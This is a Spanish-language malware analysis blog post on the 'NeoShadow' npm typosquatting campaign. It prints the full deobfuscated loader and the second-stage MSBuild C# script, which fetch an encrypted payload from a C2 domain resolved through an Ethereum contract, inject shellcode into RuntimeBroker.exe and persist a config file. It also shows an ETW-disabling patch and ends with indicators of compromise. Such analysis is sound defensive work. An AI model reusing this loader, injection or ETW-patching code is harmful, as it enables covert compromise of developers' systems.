Aikido

JavaScript, MSBuild y la Blockchain: Anatomía del ataque a la cadena de suministro npm de NeoShadow

Escrito por
Charlie Eriksen

El 30 de diciembre, una repentina avalancha de nuevos paquetes npm de un único autor llamó nuestra atención. Nuestro motor de análisis marcó varios de ellos como sospechosos poco después de su aparición. A esta campaña/actor de amenaza la llamamos "NeoShadow", basándonos en un identificador común visto en su carga útil de fase 2. Los paquetes identificados fueron:

  • viem-js
  • cyrpto
  • tailwin
  • supabase-js

Todos fueron liberados por el usuario cjh97123. Todos son paquetes de typo-squatting, lo cual no es nada nuevo. Pero nos divirtió el malware real que encontramos dentro. No solo descubrimos que la ofuscación no era fácilmente desofuscada por herramientas comunes, sino que pudimos notar que el malware estaba haciendo cosas bastante novedosas. Así que nos propusimos mejorar nuestras cadenas de herramientas de desofuscación una vez más y llegar al fondo de este malware.

Etapa 0 - JS malicioso en npm

La primera parte de nuestra investigación comienza con este archivo de configuración, pero tened en cuenta: pronto nos llevará a territorios extraños y maravillosos. Este archivo JavaScript, ubicado en scripts/setup.js en todos los paquetes, funciona como un cargador multifase exclusivo para Windows. Su comportamiento se puede resumir en las siguientes etapas ordenadas:

1️⃣ Validación de Plataforma y Entorno

  • 🪟 Confirma la ejecución en Windows
  • 🧪 Aplica una heurística anti-análisis contando las entradas del registro de eventos del sistema de Windows
  • 🚫 Sale prematuramente en entornos de baja actividad o similares a sandboxes

2️⃣ Configuración Dinámica a través de Blockchain

  • ⛓️ Consulta un contrato inteligente de Ethereum utilizando la API eth_call de Etherscan
  • 📤 Extrae una cadena almacenada dinámicamente de datos en cadena
  • 🌐 Trata el valor decodificado como una URL base de C2
  • 🔁 Recurre a un dominio codificado si la búsqueda en cadena falla

3️⃣ Adquisición de Carga Útil Encubierta

  • 📡 Solicita un archivo JavaScript remoto que se hace pasar por analíticas
  • 🫥 Localiza un blob codificado en Base64 oculto dentro de un comentario de bloque
  • 📦 Utiliza el comentario únicamente como contenedor de carga útil, no como código ejecutable

4️⃣ Ejecución Living-off-the-Land (MSBuild)

  • 🛠️ Escribe un archivo temporal proyecto MSBuild (.proj) archivo
  • 🧬 Incrusta código C# en línea utilizando CodeTaskFactory
  • 🚫 Se ejecuta sin soltar ni compilar un ejecutable independiente
  • 🧾 Se basa en un binario de Windows de confianza (MSBuild.exe)

5️⃣ Descifrado del payload

  • 🔐 Decodifica el payload Base64
  • 🔑 Deriva una clave RC4 mediante el enmascaramiento XOR de los primeros 16 bytes
  • 🔓 Descifra el payload restante en memoria

6️⃣ Inyección y ejecución de procesos

  • 🧠 Inicia RuntimeBroker.exe en estado suspendido
  • 💉 Asigna memoria en el proceso remoto
    ✍️ Escribe el shellcode descifrado
  • ⚡ Se ejecuta mediante inyección APC (QueueUserAPC + ResumeThread)

7️⃣ Despliegue de artefactos secundarios

  • 📥 Descarga opcionalmente un archivo de configuración adicional
  • 📁 Lo persiste en: %APPDATA%\Microsoft\CLR\config.proj

Es bastante. Si tienes curiosidad, aquí está el código real después de nuestra desofuscación:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Esto nos permite ver la lógica con mayor claridad. Es un enfoque novedoso el uso de código MSBuild y C#. Como en la otra versión, intenta descargar el payload de https://metrics-flow[.]com/assets/js/analytics.min.js y descifrarlo con una clave RC4. 

Fase 1 - ¿Qué es MSBuild? 

Una cosa que notarás en el código es que intenta extraer el archivo _next/data/config.json del dominio C2. Así que lo recuperé, y devolvió una versión más clara del script MSBuild:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Esto nos permite ver la lógica con mayor claridad. Es un enfoque novedoso el uso de código MSBuild y C#. Como en la otra versión, intenta descargar el payload de https://metrics-flow[.]com/assets/js/analytics.min.js y descifrarlo con una clave RC4. 

Fase 2 - Análisis del shellcode

En este punto, sentíamos curiosidad por lo que justificaba el esfuerzo detrás de un mecanismo de entrega tan novedoso. Después de descifrar el payload, descubrimos que contenía shellcode, como se esperaba. 

Mientras analizábamos los bytes sin procesar de la carga útil descifrada, dos nombres nos llamaron inmediatamente la atención: NeoShadowV2DeriveKey2026 y Global\NSV2_8e4b1d. El vínculo entre ellos es difícil de ignorar. NS es una abreviatura natural de NeoShadow, y ambas cadenas comparten el mismo V2 marcador. En conjunto, esto no parece accidental ni genérico; se percibe como etiquetas internas de los autores. Basándonos en esta coherencia, nos referimos al actor de amenazas detrás de esta actividad como NeoShadow. Ver la misma nomenclatura aparecer en rutinas criptográficas y controles de ejecución le da al malware una identidad clara y sugiere un conjunto de herramientas deliberadamente versionado y activamente mantenido, en lugar de un experimento puntual.

Luego ejecutamos el shellcode a través de Binary Ninja, que inmediatamente produjo una versión en C semi-legible. Solo que... Son 4000 líneas de C bastante feo. 🥹

Así que se lo pasamos a Claude para obtener una versión más limpia. Y, efectivamente, generó una versión del código C de 1900 líneas, agradable y legible. Esto nos lleva a la siguiente parte de nuestra aventura.

Fase 3 - Un 'rat' en la compilación

La carga útil final es una puerta trasera completamente funcional diseñada para un acceso a largo plazo. Una vez en ejecución, entra en un bucle de baliza, comunicándose con el servidor C2, informando sobre la información del sistema y solicitando comandos. El implante es ligero por diseño: establece el acceso y proporciona una primitiva de ejecución, mientras que toda la funcionalidad de post-explotación se descarga como módulos desechables.

Comportamiento de la baliza

  • 📡 Envía registros cifrados a través de HTTPS POST
  • 🪪 Incluye la huella digital del host: nombre del equipo, nombre de usuario, ID de agente
  • 🔀 Aleatoriza las rutas URL para imitar el tráfico legítimo (/assets/js/, /api/v1/, /wp-content/, etc.)
  • 🏷️ Etiqueta las solicitudes con un X-Agent-Id encabezado personalizado para el seguimiento de víctimas
  • ⏱️ Admite un intervalo de suspensión configurable con fluctuación (jitter) (20% por defecto)

Cifrado

Todo el tráfico C2 está cifrado con ChaCha20, un cifrado de flujo preferido por su velocidad y seguridad. Las claves se establecen mediante Curve25519 ECDH. 

Conjunto de comandos

Los operadores tienen tres comandos a su disposición:

sleep
  • ⏰ Ajusta el intervalo del beacon sobre la marcha
  • 🔇 Permite a los operadores pasar desapercibidos durante las fases de persistencia o acelerar para una participación activa
module
  • 🌐 Obtiene el payload de una URL
  • 📦 Si es una DLL: localiza ReflectiveLoader export, inyecta sin tocar el disco
  • 💉 Si es shellcode: inyecta directamente en RuntimeBroker.exe mediante inyección APC
  • 🧰 Mecanismo principal para desplegar herramientas de post-explotación 
inject
  • 🔤 Acepta shellcode codificado en base64 directamente en el comando
  • 🔒 Mantiene todo dentro del canal C2 cifrado
  • ⚡ Misma ruta de inyección que el módulo, pero sin la obtención por red

Gestión de respuestas

  • ✅ Devuelve OK o DLL OK en caso de éxito
  • ❌ Errores descriptivos: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
  • 📤 Las DLL inyectadas pueden escribir en un búfer compartido que se exfiltra en la respuesta
  • 🔁 Toda la comunicación utiliza el mismo cifrado ChaCha20 que el beacon

Este pequeño y minimalista Troyano de Acceso Remoto (RAT) es bastante ingenioso. Su única función es establecer un enlace C2 persistente y actuar como cargador de primera etapa para malware más potente. Esto proporciona a los atacantes un punto de entrada flexible y de bajo perfil para desplegar herramientas secundarias (p. ej., keyloggers o ransomware) y escalar el ataque a voluntad.

Características interesantes

El malware incorpora algunas características ingeniosas para intentar ocultarse a sí mismo y a su servidor C2, las cuales hemos detallado a continuación. 

🙈Cegando al Host: Parcheo de ETW

Event Tracing for Windows (ETW) es el sistema nervioso de la telemetría moderna de Windows. Cuando se carga un ensamblado .NET, ETW lo detecta. Cuando PowerShell ejecuta un bloque de script, ETW lo registra. Cuando se genera un proceso, se crea un hilo, se carga una DLL o se establece una conexión de red, se emiten eventos ETW y los productos de seguridad los consumen. Las plataformas de seguridad, incluyendo las soluciones de detección y respuesta de endpoints (EDR) y las herramientas SIEM, dependen en gran medida de ETW para la detección. Deshabilitar ETW afecta gravemente la visibilidad de estas herramientas de seguridad. Cabe destacar que esta no es una técnica nueva; es bien conocida desde hace años.

El implante hace exactamente eso. Antes de establecer comunicaciones C2 o realizar cualquier actividad sospechosa, localiza NtTraceEvent ES ntdll.dll, la función de bajo nivel por la que finalmente se canaliza toda la emisión de eventos ETW. Resuelve la dirección mediante su resolución de API estándar basada en hash (hash 0xDECFC1BF), y luego llama a VirtualProtect para hacer que la memoria de la función sea escribible:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Una vez obtenido el acceso de escritura, sobrescribe los primeros cuatro bytes de la función con un simple stub que devuelve éxito sin hacer nada:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

Eso es todo. Cuatro bytes, 48 33 C0 C3, y cada evento ETW en el sistema deja de emitirse. La función devuelve STATUS_SUCCESS para que los llamadores no fallen ni reintenten, pero ningún evento llega al kernel. Los productos de seguridad que consultan a los proveedores de ETW obtienen silencio.

🙈Camuflaje del servidor C2

Así que, examinamos el dominio C2 metrics-flow[.]com, y nos reímos bastante del intento de los atacantes de camuflarse. Han incorporado una ingeniosa capa de seguridad diseñada para despistar a las herramientas automatizadas y a los investigadores humanos. Al acceder a la página principal, no se obtiene el mismo contenido dos veces. En su lugar, el servidor entrega un conjunto de contenido falso completamente aleatorio, haciendo que parezca un sitio web totalmente normal y no malicioso. Muy ingenioso, y facilitará la identificación de los servidores C2 para futuros investigadores. 😀

Dominio C2

El dominio C2 fue registrado aproximadamente al mismo tiempo que el malware fue publicado por primera vez en npm, el 30 de diciembre de 2025, según la información de whois:

Cambios de la versión 2

Todo el análisis hasta este punto se basa en la versión desplegada el 30 de diciembre de 2025. Otra versión de los paquetes fue desplegada el 2 de enero de 2026. El cambio más notable es que un ejecutable de Windows, analytics.node, también está incluido. Observamos que ningún antivirus en VirusTotal lo detectó como malicioso:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

Además, el archivo JavaScript fue ofuscado de manera diferente y es más difícil de desofuscar que la versión original, con lo que parecen ser nuevas técnicas de ofuscación incluidas en la versión. 

También obtenemos otra referencia al proyecto llamado NeoShadow: C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

Conclusión 

Hasta el momento, no hemos intentado recuperar una carga útil dinámica del servidor C2. Sin embargo, hemos observado claramente un intento bien diseñado de entregar lo que creemos que es un malware novedoso como parte de una campaña más amplia y previamente indocumentada que ha construido su propio servidor C2, RAT, mecanismo de entrega y técnicas de camuflaje para ocultar su servidor C2. 

🚨 Indicadores de compromiso

  • Dominio: metrics-flow[.]com
  • Dirección IP: 80.78.22[.]206
  • Binario012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Dirección de Ethereum: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nombre del Mutex: Global\NSV2_8e4b1d
  • Paquetes NPM:
    • viem-js
    • cyrpto
    • tailwin
    • supabase-js

Compartir:

https://www.aikido.dev/blog/neoshadow-npm-supply-chain-attack-javascript-msbuild-blockchain

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.